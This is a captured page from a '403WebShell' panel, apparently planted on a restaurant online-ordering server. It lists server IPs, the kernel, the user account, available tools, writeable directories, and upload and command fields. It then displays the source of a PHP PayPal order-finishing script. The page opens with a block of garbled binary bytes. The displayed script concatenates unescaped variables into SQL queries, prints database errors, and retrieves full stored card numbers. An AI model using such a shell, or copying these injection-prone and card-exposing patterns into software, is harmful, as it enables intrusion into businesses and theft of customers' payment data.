ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw��k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ�����mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e���R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1�[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN���ĕ���0������� !01@Q"2AaPq3BR�������?�����@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j��ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^����ԯ̾9Z��F��������n��1��� ��]�[��)�'�������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ���&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0���;_���3������� !01"@AQa2Pq#3BR�������?����ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q�� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�����������4B>��o��](��$B���m�����a�!=���?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{�E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)�����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a��84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b���$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7���k�� 403WebShell
403Webshell
Server IP : 172.67.166.40  /  Your IP : 104.23.197.202
Web Server : Apache
System : Linux tastesys.restaurant-online.biz 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
User : restaura ( 1002)
PHP Version : 5.4.45
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/restaura/public_html/roo/zzq-smokehouse_CANCELLED050123/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/restaura/public_html/roo/zzq-smokehouse_CANCELLED050123/ipn_finish.php
<?php
 session_start();
 $itemtotal=0;
 $taxabletotal=0;
 $gtotal=0;
 $delcharge=0;
 $totaltax=0;

 include('timezone.php');
 include("includes/mail_function.php");
 date_default_timezone_set($timezone);
 include('menudatabase.php');

 if(!empty($menudatabase)){	//select main database for store to access local store settings
    include ('includes/db1config.php');
    include ('includes/mysql_connect.php');
 }

 //get store contact email address
  	$query = "Select email, deliver, deltime, preptime, half_topping_prices, title, salesTax, phone, orderByFax, wp_authid, custom_order_confirmation, use_multiple_sauces, use_multiple_crusts from storePrefs";
	$rt=mysql_query($query); 

if (mysql_num_rows($rt) == 0) {
	//not found, do nothing
} else {
    //populate variable from storePrefs table
	while($nt=mysql_fetch_array($rt)){
  		$storeemail = $nt['email'];
  		$wedeliver = $nt['deliver'];
  		$deltime = $nt['deltime'];
		$title = $nt['title'];
		$preptime = $nt['preptime'];
		$half_topping_prices = $nt['half_topping_prices'];
		$site_name = $nt['title'];
		if($nt['salesTax'] >0){$taxrate = $nt['salesTax'];} else {$taxrate = 0;}
		$default_tax = $taxrate;
		$store_phone = $nt['phone'];
		$faxorders=$nt['orderByFax'];
		$_SESSION['wp_authid'] = $nt['wp_authid'];
		$custom_order_confirmation = $nt['custom_order_confirmation'];
		$_SESSION['use_multiple_sauces'] = $nt['use_multiple_sauces'];
		$_SESSION['use_multiple_crusts'] = $nt['use_multiple_crusts'];
		if(!isset($_SESSION[site_name])||$_SESSION[site_name]==""){
		 	$_SESSION[site_name]=$title;
		 } 
	}
}

 $bcc = "reporting@pilotwebsolutions.com";
 $guest_subject = "Thank you for your order! (".$_SESSION['site_name'].")";
 $store_subject = "New Order (".$_SESSION['site_name'].")";


 if(!isset($_SESSION[brand])||$_SESSION[brand]==""){
 	$qry="select brand from admin_options";
	 $rt=mysql_query($qry);
	 while($nt=mysql_fetch_array($rt)){
	 	$_SESSION['brand']=$nt['brand'];
	 }
 }

 switch($_SESSION['brand']){

 	case "taste":
		$from_address = "ordersystem@restaurant-online.biz";
		$from_name = "Taste Systems Online Order System";
		$receipt_url = "www.TasteSystems.com";
		$logo_url = "https://www.tastesystems.com/custom/images/header-logo.png";
		$support_email = "support@tastesystems.com";
	break;
	case "roo":
		$from_address = "ordersystem@restaurant-online.biz";
		$from_name = "Taste Systems Online Order System";
		$receipt_url = "www.TasteSystems.com";
		$logo_url = "https://www.tastesystems.com/custom/images/header-logo.png";
		$support_email = "support@tastesystems.com";
	break;
	case "froogle":
		$from_address = "ordersystem@froogledelivers.com";
		$from_name = "Froogle Delivers Online Order System";
		$receipt_url = "www.FroogleDelivers.com";
		$logo_url = "http://www.froogledelivers.com/images/froogle-delivers-logo.png";
		$support_email = "info@froogleapp.com";
	break;
	case "pilot":
		$from_address = "ordersystem@restaurant-online.biz";
		$from_name = "Taste Systems Online Order System";
		$receipt_url = "www.TasteSystems.com";
		$logo_url = "https://www.tastesystems.com/custom/images/header-logo.png";
		$support_email = "support@pilotwebsolutions.com";
	break;		
	default:
		$from_address = "ordersystem@restaurant-online.biz";
		$from_name = "Taste Systems Online Order System";
		$receipt_url = "www.TasteSystems.com";
		$logo_url = "https://www.tastesystems.com/custom/images/header-logo.png";
		$support_email = "support@tastesystems.com";
	break;
 }

		

if($_SESSION[use_multiple_crusts]==0){
 	$query5 = "select RecordKey from menuCategory where CategoryName='Pizza Crust'";
	 $rt5=mysql_query($query5);
	 if (mysql_num_rows($rt5) > 0) {
	 	while($nt5=mysql_fetch_array($rt5)){
			$crustcat = $nt5[RecordKey];
		}
	 }
 }

 if($_SESSION[use_multiple_sauces]==0){
 	$query5 = "select RecordKey from menuCategory where CategoryName='Pizza Sauce'";
	 $rt5=mysql_query($query5);
	 if (mysql_num_rows($rt5) > 0) {
	 	while($nt5=mysql_fetch_array($rt5)){
			$saucecat = $nt5[RecordKey];
		}
	 }
 }


 $query5 = "SELECT itemKey from menuItem where categoryKey='$saucecat'";
 $rt5=mysql_query($query5);
 $sauceitemkeys = "";
 if (mysql_num_rows($rt5) > 0) {
 	while($nt5=mysql_fetch_array($rt5)){
 		if($sauceitemkeys == ""){
 			$sauceitemkeys = "'$nt5[itemKey]'";
 		} else {
 			$sauceitemkeys .= ",'$nt5[itemKey]'";
 		}		
	}
 } else {
 	$sauceitemkeys = "''";
 }

$query = "select cloud_print from admin_options";
$rt=mysql_query($query);
while($nt=mysql_fetch_array($rt)){
	$_SESSION['cloud_print']=$nt['cloud_print'];
}

$_SESSION['UserKey'] = $userkey;


  //get guest email address
  $query = 'SELECT Email, schedule, schedule_dt from guestLogin WHERE UserKey = ' .  $userkey;
  $rt=mysql_query($query);
   echo mysql_error();
 	 while($nt=mysql_fetch_array($rt)){
         $guestemail = $nt[Email];
         $schedule = $nt[schedule];
		 $dt_schedule = $nt[schedule_dt];
     }


 //check local tax rate entered in admin area
/* $tquery = "Select salesTax from storePrefs";

             $tqr=mysql_query($tquery);

                     echo mysql_error();

                     while($tq=mysql_fetch_array($tqr)){

                         if($tq[salesTax] >0){

                               $taxrate = $tq[salesTax];

                         }  else {

                               $taxrate =0;

                     }

              }
*/
              
/*
$query = "Select orderByFax from storePrefs where orderByFax=1";

	$rt=mysql_query($query);          // query executed

		echo mysql_error();



if (mysql_num_rows($rt) == 0) {



            $faxorders=0;

} else {

            $faxorders=1;

}
*/

  //create order number

  if (isset($_SESSION['FirstName'])) {

     $ordernum = substr($_SESSION['LastName'],0,1) . substr(strtotime("now"),-8);

  } else {

    $ordernum = 'PP' . substr(strtotime("now"),-8);

}

//echo 'order #: ' . $ordernum ;   //for testing

 //get total variables passed from order

//$subtotal        = $_POST["subtotal"];

//$totaltax        = $_POST["tax"];

//$delivery        = $_POST["delivery"];

$ordertotal      = $payment_amount;	//get total charge passed back from paypal

//copy cart orderitem table



$query5 = 'SELECT * from cart WHERE customerID = ' .  $userkey;

			if($_SESSION[use_multiple_crusts]==0){

			 	$query55 = "select RecordKey from menuCategory where CategoryName='Pizza Crust'";

				 $rt55=mysql_query($query55);

				 if (mysql_num_rows($rt55) > 0) {

				 	while($nt55=mysql_fetch_array($rt55)){

						$crustcat = $nt55[RecordKey];

					}

				 }

			 	$query5 .=" AND categoryKey <>'$crustcat' "; 

				$skip_crusts==1;

			 }

			 if($_SESSION[use_multiple_sauces]==0){

			 	$query55 = "select RecordKey from menuCategory where CategoryName='Pizza Sauce'";

				 $rt55=mysql_query($query55);

				 if (mysql_num_rows($rt55) > 0) {

				 	while($nt55=mysql_fetch_array($rt55)){

						$saucecat = $nt55[RecordKey];

					}

				 }

				 $query5 .=" AND categoryKey <>'$saucecat' "; 

				 $skip_sauces==1;

			 }

			 $query5 .=' OR (customerID = ' .  $userkey.' AND categoryKey is null)';




//mail("apicton@apnetworking.com", $title ,$query5,"From: apicton@tastesystems.com\n" . "MIME-Version: 1.0\n" ."Content-type: text/html; charset=iso-8859-1");





$rt5=mysql_query($query5);

   echo mysql_error();

 	 while($nt5=mysql_fetch_array($rt5)){

			/*

             $query2 = 'Insert into orderItem (UserKey, itemNumber, qty, recordKey, parentLineNum, size, subitems, halfA, halfB, crust, categoryKey, couponCode, orderNumber, freeTopping, choicea, choiceb, choicec) values("' . $nt5[UserKey] . '", "' . $nt5[itemNumber] . '", "';

             $query2 .= $nt5[qty] . '", "' . $nt5[recordKey] . '", "' . $nt5[parentLineNum] . '", "' . $nt5[size] . '", "' . $nt5[subitems] . '", "';

             $query2 .= $nt5[halfA] . '", "' . $nt5[halfB] . '", "' . $nt5[crust] . '", "' . $nt5[categoryKey] . '", "' . $nt5[couponCode] . '", "' . $ordernum . '", "' . $nt5[freeTopping] . '", "' . $nt5[choicea] . '", "' . $nt5[choiceb] . '", "' . $nt5[choicec] . '")';

			*/

			$query2 = 'Insert into orderItem (UserKey, itemNumber, qty, recordKey, parentLineNum, size, subitems, halfA, halfB, crust, categoryKey, couponCode, orderNumber, 

				 freeTopping, freeToppingL, freeToppingR, freeTopping2, freeTopping2L, freeTopping2R, freeTopping3, freeTopping3L, freeTopping3R, 

				 freeTopping4, freeTopping4L, freeTopping4R, freeTopping5, freeTopping5L, freeTopping5R,';
				 $query2.= 'choicea, choiceb, choicec, choiced, choicee, choicef, choiceg, choiceh, choicei,
				 choicea_price, choiceb_price, choicec_price, choiced_price, choicee_price, choicef_price, choiceg_price, choiceh_price, choicei_price, upgrade_discount) 

				 values("' . $nt5[UserKey] . '", "' . $nt5[itemNumber] . '", "';

				 $query2 .= $nt5[qty] . '", "' . $nt5[recordKey] . '", "' . $nt5[parentLineNum] . '", "' . $nt5[size] . '", "' . $nt5[subitems] . '", "';
				 $query2 .= $nt5[halfA] . '", "' . $nt5[halfB] . '", "' . $nt5[crust] . '", "' . $nt5[categoryKey] . '", "' . $nt5[couponCode] . '", "' . $ordernum . '", 
				 "' . $nt5[freeTopping] . '", "' . $nt5[freeToppingL] . '", "' . $nt5[freeToppingR] . '",
				 "' . $nt5[freeTopping2] . '", "' . $nt5[freeTopping2L] . '", "' . $nt5[freeTopping2R] . '",
				 "' . $nt5[freeTopping3] . '", "' . $nt5[freeTopping3L] . '", "' . $nt5[freeTopping3R] . '",
				 "' . $nt5[freeTopping4] . '", "' . $nt5[freeTopping4L] . '", "' . $nt5[freeTopping4R] . '",
				 "' . $nt5[freeTopping5] . '", "' . $nt5[freeTopping5L] . '", "' . $nt5[freeTopping5R] . '",
				 "' . $nt5[choicea] . '", "' . $nt5[choiceb] . '", "' . $nt5[choicec] . '",
				 "' . $nt5[choiced] . '", "' . $nt5[choicee] . '", "' . $nt5[choicef] . '",
				 "' . $nt5[choiceg] . '", "' . $nt5[choiceh] . '", "' . $nt5[choicei] . '",
				 "' . $nt5[choicea_price] . '", "' . $nt5[choiceb_price] . '", "' . $nt5[choicec_price] . '", 
				 "' . $nt5[choiced_price] . '", "' . $nt5[choicee_price] . '", "' . $nt5[choicef_price] . '",
				 "' . $nt5[choiceg_price] . '", "' . $nt5[choiceh_price] . '", "' . $nt5[choicei_price] . '",
				 "' . $nt5[upgrade_discount] .'")';

				 

//mail("apicton@apnetworking.com", $title ,$query2,"From: apicton@tastesystems.com\n" . "MIME-Version: 1.0\n" ."Content-type: text/html; charset=iso-8859-1");


             $result = mysql_query($query2);          

            // echo mysql_error();

             if (!$result) {

             $msg = 'We apologize, but there was an error saving your order and site admin has been notified. Please click the "My Order" link and try again.';

             $message  = 'Invalid query: ' . mysql_error() . "\n";

              $message .= 'Whole query: ' . $query2;

              ///email address////

	            $to =  "support@tastesystems.com";

              $email =  "support@tastesystems.com";

	            ///Subject Title

	            $subject="Taste Systems site error";





	            //mail Function//////

	            mail($to,$subject,$message,"From: $email\n" . "MIME-Version: 1.0\n" .

              "Content-type: text/html; charset=iso-8859-1");

             die($msg);

                  }

  if(!empty($nt5[note])){

          $ordernote =  $nt5[note];

  }

  }

//create record in Orders table to link all order items on order

  $query2 = 'Insert into orders (UserKey, orderNumber, delivery, payMethod, orderTotal, note, schedule, cc_ref_code, tipamount) values ("' . $userkey . '", "' . $ordernum . '", "';



  //$query3 = "Select pickup, payMethod from  guestLogin where UserID = '" . $_SESSION['UserID'] . "'";

  $query3 = "Select pickup, payMethod, tipamount from  guestLogin where UserKey = '" . $userkey . "'";

  $rt3=mysql_query($query3);          // query executed

   echo mysql_error();

   while($nt3=mysql_fetch_array($rt3)){

     //echo  $nt3[pickup];

          if ($nt3[pickup]==0){    //this is delivery

                //$query2 .= '1", "';

                $delivery =1;

          } else{   // order is carryout

                //$query2 .= '0", "';

                $delivery =0;

          }

  $paymethod = $nt3[payMethod];

  $tipamount = $nt3[tipamount];

  //$query2 .= $paymethod . '", "';

   }

         //to avoid possible errors saving order - set to 0 if data not found...

    if(empty($paymethod)){$paymethod = 0;}

    if(empty($delivery)){$delivery = 0;}

    

 $query2 .= $delivery . '", "' . $paymethod . '", "';

 

 $query2 .= $ordertotal;

 if (!empty($ordernote)){

   $ordernote = str_replace('"', '\"', $ordernote);

   $ordernote = str_replace("'", "\'", $ordernote);

      $query2 .= '", "' . ($ordernote) . '"';

 } else{

      $query2 .= '", "n/a"';

 }

 

 	if (!empty($schedule)){

		  $query2 .= ', "' . $schedule . '"';

	 } else{

		  $query2 .= ', "' . $deltime . '"';

	 }

	 //if cc payment cleared, enter reference code

	 if(!empty($cc_ref_code)){

	 	$query2 .= ', "'.$cc_ref_code.'"';

	 } else {

		$query2 .= ', ""';

	 }

	 $query2 .=", '$tipamount'";

	 $query2 .= ")";

// echo 'updateqry =' . $query2 ;   //FOR TESTING



 $result = mysql_query($query2);          // query executed

   //echo mysql_error();

   if (!$result) {

                $msg = 'We apologize, but there was an error saving your order and site admin has been notified. Please click the "My Order" link and try again.';

             $message  = 'Invalid query: ' . mysql_error() . "\n";

              $message .= 'Whole query: ' . $query2;

              $message .= "\n" . 'Store: ' . $seotitle . ' - ' . $seocitystate;

              ///email address////

	            $to =  "support@tastesystems.com";

              $email =  "support@tastesystems.com";

	            ///Subject Title

	            $subject="Taste Systems site error";





	            //mail Function//////

	            mail($to,$subject,$message,"From: $email\n" . "MIME-Version: 1.0\n" .

              "Content-type: text/html; charset=iso-8859-1");

             die($msg);

                  }

  //copy cart to favorites if selected

                                       //****can add later ****

 //build order string to send via email or fax:

 

 $query = "select * from guestLogin where UserKey ='" . $userkey . "'";

 $rt=mysql_query($query);          // query executed

   echo mysql_error();

   while($nt=mysql_fetch_array($rt)){

        $ordertime = $nt[pickup];

        //$schedule = $nt[schedule];

        $payment = $nt[paymethod];

        $firstname=$nt[FirstName];

        $lastname=$nt[LastName];

        $company=$nt[CompanyName];

        $email=$nt[Email];

        $phone=$nt[Phone];

        $address=$nt[Address1];

        if (!empty($nt[Address2])){

            $address .= '<br>'. $nt[Address2];

        }

             $address .='<br>' . $nt[City] . ", " . $nt[State] . " " . $nt[Zip];

        $cardtype=$nt[cardType];

        $cardexp=$nt[cardExpMonth] . "/" . $nt[cardExpYear];

        $cardlast4=substr($nt[cardNumber], -4);

        $fullcardnum=$nt[cardNumber];

        $cardholder=$nt[cardholder];

        $cardzip=$nt[cardzip];

   }

  $query = "select * from orders where orderNumber ='" . $ordernum . "'";

 $rt=mysql_query($query);          // query executed

   echo mysql_error();

   while($nt=mysql_fetch_array($rt)){

        $timeordered = $nt[orderTime];
        $timeordered = date("m/d/Y h:i:s A", strtotime($timeordered) + date('Z'));


      //$date = new DateTime($timeordered, new DateTimeZone($timezone));

      //$date->setTimezone(new DateTimeZone($timezone));

      //$timeordered = $date->format('Y-m-d H:i');

   }

$orderheader = '<table width=600 border=1 bordercolor="black" cellspacing=0 cellpadding=5>

<tr><td><table border=0 width=100%>

<tr><td colspan="3"><div align="center"><b>'.$title.'</b></div><hr>

<tr><td><div align="center">Order Number<br>' . $ordernum  . '</div>

<td><div align="center">Order Time<br>' . date('m/d/Y h:i:s A') ;



$printheader = "             Order#: $ordernum \n";

$printheader .= "Time of order: $timeordered\n\n";

	

$orderheader .= '<td><div align="center">Requested Date & Time<br>';

$printheader .= "Requested Date & Time\n";



	if((!empty($schedule))||($schedule =="")){

		   if ($schedule =="now"){

					if($delivery=='1'){	

						$orderheader .=  $deltime;

						$printheader .= "DELIVERY: $deltime\n\n";

					} else {

						$orderheader .=  $preptime;	//show prep time for carry out

						$printheader .= "CARRYOUT: $preptime\n\n";

					}

			 //}

		   }else{

				$orderheader .= $schedule ;

				$printheader .= "Scheduled: $schedule\n\n";

		   }

	  }else{

	    //no time saved, assume it means right away

	    if($delivery=='1'){	

			$orderheader .=  $deltime;

			$printheader .= "DELIVERY: $deltime\n\n";

		} else {

			$orderheader .=  $preptime;	//show prep time for carry out

			$printheader .= "CARRYOUT: $preptime\n\n";

		}

	  }





$orderheader .= '</table><tr><td><table><td width="50%">';

$printheader .= "Customer:\n";



if(!empty($company )){$orderheader .=$company . '<br>'; $printheader .= "     $company\n";}



$orderheader .= $firstname . ' ' . $lastname . '<br>' . $phone . '<br>' . $email . '<td width="300">';

$printheader .= "     $firstname $lastname\n     $phone\n     $email\n" ;



if($delivery==1){

if((!empty($address))||($address =="")){

    $orderheader .= 'Deliver to:<br>' . $address;

    $textaddress = str_replace("<br />", "\n", $address);

    $printheader .= "\nDeliver to:\n$textaddress\n";

  }else{

  $orderheader .=   'Delivery: Address not found' ;

  $printheader .= "\nDelivery: Address not found\n";

  }

} else {

  $orderheader .= 'Pickup/carry out';

  $printheader .= "\nPickup/carry out\n";

}



$orderheader .=  '</table>'; //close header table

$guestheader = '<div align="center">' . $orderheader;  //set guest header the same

$orderheader = '<div align="center">***NEW ORDER***<br><br>' . $orderheader ;   //add new order notice to top of order header

$printheader = "              ***NEW ORDER***\n\n$printheader\n";

$orderdetail = '<tr><td><table>';



//get coupon code if coupon used for this order

$query = "Select max(couponCode) as couponCode from orderItem where orderNumber = '" . $ordernum . "'";

$rt=mysql_query($query);

while($nt=mysql_fetch_array($rt)){

        if(!empty($nt[couponCode])){

              $coupon = $nt[couponCode];

        }

}

mysql_close;

//if coupon code found, look up details for coupon

$query = "Select * from coupon where code = '" . $coupon . "'";

$rt=mysql_query($query);

while($nt=mysql_fetch_array($rt)){

               $cpntype = $nt[couponType];

               //type 1 = regular discount amount off total cart

               //type 2 = discount percentage off total cart

               //type 3 = one set coupon price off specific items

               //type 4 = one set discount off specific items

               $discount =  $nt[discountAmount];

               $minimum =   $nt[minOrder];

               $discpct =  $nt[discountPercent];

               $couponprice = $nt[couponPrice];

}

mysql_close;



//build querystring to get items not in pizza subcategories (and not a cart-wide coupon line item)

$query = "Select * from orderItem where orderNumber = '" . $ordernum . "' AND parentLineNum=0 AND itemNumber>0";



  $rt=mysql_query($query);          // query executed - rt contains list of all items not in a pizza sub-item category

   echo mysql_error();

   while($nt=mysql_fetch_array($rt)){

          //pull info from menuItem table

          $query2 ="Select * from menuItem where itemKey=" . $nt[itemNumber];

          //echo $query2;

           if(!empty($menudatabase)){	//select shared menu database for item sizes and pricing

              include ('includes/db2config.php');

              include ('includes/mysql_connect.php');

           }

          $rt2=mysql_query($query2);          

          echo mysql_error();

          while($nt2=mysql_fetch_array($rt2)){

            $orderdetail .= '<tr><td width=75 valign="top">' .$nt[qty] . '<td width=400>' . $nt2[itemName];            

            $orderdetail .= ' - ' . $nt[size];

			$printdetail .= "\n$nt[qty] $nt2[itemName] - $nt[size]";
			//get tax rate for current category
            $currentCat = $nt2['categoryKey'];
			if ($result = $mysqli->query($qry)) {
    			 if ($result->num_rows >0) {
    			    $row = $result->fetch_assoc();
                    if($row["cat_tax_override"]>0){
                        //echo "cat_tax_override: " . $row["cat_tax_override"]. "<br>";
                        $category_tax = $row["cat_tax_override"];
                        $taxrate = $category_tax;
                    }
                 } else {
                    //echo "$qry: 0 results";
                    $taxrate = $default_tax;
                 }
			}

            if (!empty($nt[freeTopping])){   //add free topping if item has one

					if($nt[freeTopping]!="split"){

						$orderdetail .= '<br />+ ' . $nt[freeTopping];

						$printdetail .= "+ $nt[freeTopping]";

					} else {

						$orderdetail .= '<br />+ ' . $nt[freeToppingL] . ' (Left side only)';

						$orderdetail .= '<br />+ ' . $nt[freeToppingR] . ' (Right side only)';

						$printdetail .= "+ $nt[freeToppingR] (right)\n";

						$printdetail .= "+ $nt[freeToppingL] (left)\n";

					}

				}

				if (!empty($nt[freeTopping2])){   //add free topping if item has one

					if($nt[freeTopping2]!="split"){

						$orderdetail .= '<br />+ ' . $nt[freeTopping2];

						$printdetail .= "+ $nt[freeTopping2]\n";

					} else {

						$orderdetail .= '<br />+ ' . $nt[freeTopping2L] . ' (Left side only)';

						$orderdetail .= '<br />+ ' . $nt[freeTopping2R] . ' (Right side only)';

						$printdetail .= "+ $nt[freeTopping2R] (right)\n";

						$printdetail .= "+ $nt[freeTopping2L] (left)\n";

					}

				}

				if (!empty($nt[freeTopping3])){   //add free topping if item has one

					if($nt[freeTopping3]!="split"){

						$orderdetail .= '<br />+ ' . $nt[freeTopping3];

						$printdetail .= "+ $nt[freeTopping3]\n";

					} else {

						$orderdetail .= '<br />+ ' . $nt[freeTopping3L] . ' (Left side only)';

						$orderdetail .= '<br />+ ' . $nt[freeTopping3R] . ' (Right side only)';

						$printdetail .= "+ $nt[freeTopping3R] (right)\n";

						$printdetail .= "+ $nt[freeTopping3L] (left)\n";

					}

				}

				if (!empty($nt[freeTopping4])){   //add free topping if item has one

					if($nt[freeTopping4]!="split"){

						$orderdetail .= '<br />+ ' . $nt[freeTopping4];

						$printdetail .= "+ $nt[freeTopping4]\n";

					} else {

						$orderdetail .= '<br />+ ' . $nt[freeTopping4L] . ' (Left side only)';

						$orderdetail .= '<br />+ ' . $nt[freeTopping4R] . ' (Right side only)';

						$printdetail .= "+ $nt[freeTopping4R] (right)\n";

						$printdetail .= "+ $nt[freeTopping4L] (left)\n";

					}

				}

				if (!empty($nt[freeTopping5])){   //add free topping if item has one

					if($nt[freeTopping5]!="split"){

						$orderdetail .= '<br />+ ' . $nt[freeTopping5];

						$printdetail .= "+ $nt[freeTopping5]\n";

					} else {

						$orderdetail .= '<br />+ ' . $nt[freeTopping5L] . ' (Left side only)';

						$orderdetail .= '<br />+ ' . $nt[freeTopping5R] . ' (Right side only)';

						$printdetail .= "+ $nt[freeTopping5R] (right)\n";

						$printdetail .= "+ $nt[freeTopping5L] (left)\n";

					}

				}

	            if (!empty($nt[couponCode])){   

	              $orderdetail .= ' (coupon# ' . $nt[couponCode] . ')';

					$printdetail .= "\n          (Coupon# $nt[couponCode])\n";

	            }

            	if (!empty($nt[choicea])||!empty($nt[choiceb])||!empty($nt[choicec])||!empty($nt[choiced])||!empty($nt[choicee])||!empty($nt[choicef])||!empty($nt[choiceg])||!empty($nt[choiceh])||!empty($nt[choicei])){

					$orderdetail .= '<br />Options:';

					$printdetail .= "\nOptions:\n";

				}

				$price_spacing = str_repeat(" ", 35);

				if (!empty($nt[choicea])){

					if($nt[choicea_price]>'0.00'){$option_a_price = "$nt[choicea_price]"; $printable_price = "($$nt[choicea_price])";} else {$option_a_price="0.00";}

					$orderdetail .= '<br />' . $nt[choicea];

					$printdetail .= "$nt[choicea]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choicea_price];

					$totaltax = $totaltax + ($tax * $nt[choicea_price]);

				}

				if (!empty($nt[choiceb])){

					if($nt[choiceb_price]>'0.00'){$option_b_price = "$nt[choiceb_price]"; $printable_price = "($$nt[choiceb_price])";} else {$option_b_price="0.00";}

					$orderdetail .= '<br />' . $nt[choiceb];

					$printdetail .= "$nt[choiceb]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choiceb_price];

					$totaltax = $totaltax + ($tax * $nt[choiceb_price]);

				}

				if (!empty($nt[choicec])){

					if($nt[choicec_price]>'0.00'){$option_c_price = "$nt[choicec_price]"; $printable_price = "($$nt[choicec_price])";} else {$option_c_price="0.00";}

					$orderdetail .= '<br />' . $nt[choicec];

					$printdetail .= "$nt[choicec]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choicec_price];

					$totaltax = $totaltax + ($tax * $nt[choicec_price]);

				}

				if (!empty($nt[choiced])){

					if($nt[choiced_price]>'0.00'){$option_d_price = "$nt[choiced_price]"; $printable_price = "($$nt[choiced_price])";} else {$option_d_price="0.00";}

					$orderdetail .= '<br />' . $nt[choiced];

					$printdetail .= "$nt[choiced]\n$price_spacing$printable_price\n";

					$gtotal = $gtotal + $nt[choiced_price];

					$totaltax = $totaltax + ($tax * $nt[choiced_price]);

				}

				if (!empty($nt[choicee])){

					if($nt[choicee_price]>'0.00'){$option_e_price = "$nt[choicee_price]"; $printable_price = "($$nt[choicee_price])";} else {$option_e_price="0.00";}

					$orderdetail .= '<br />' . $nt[choicee];

					$printdetail .= "$nt[choicee]\n$price_spacing$printable_price\n";

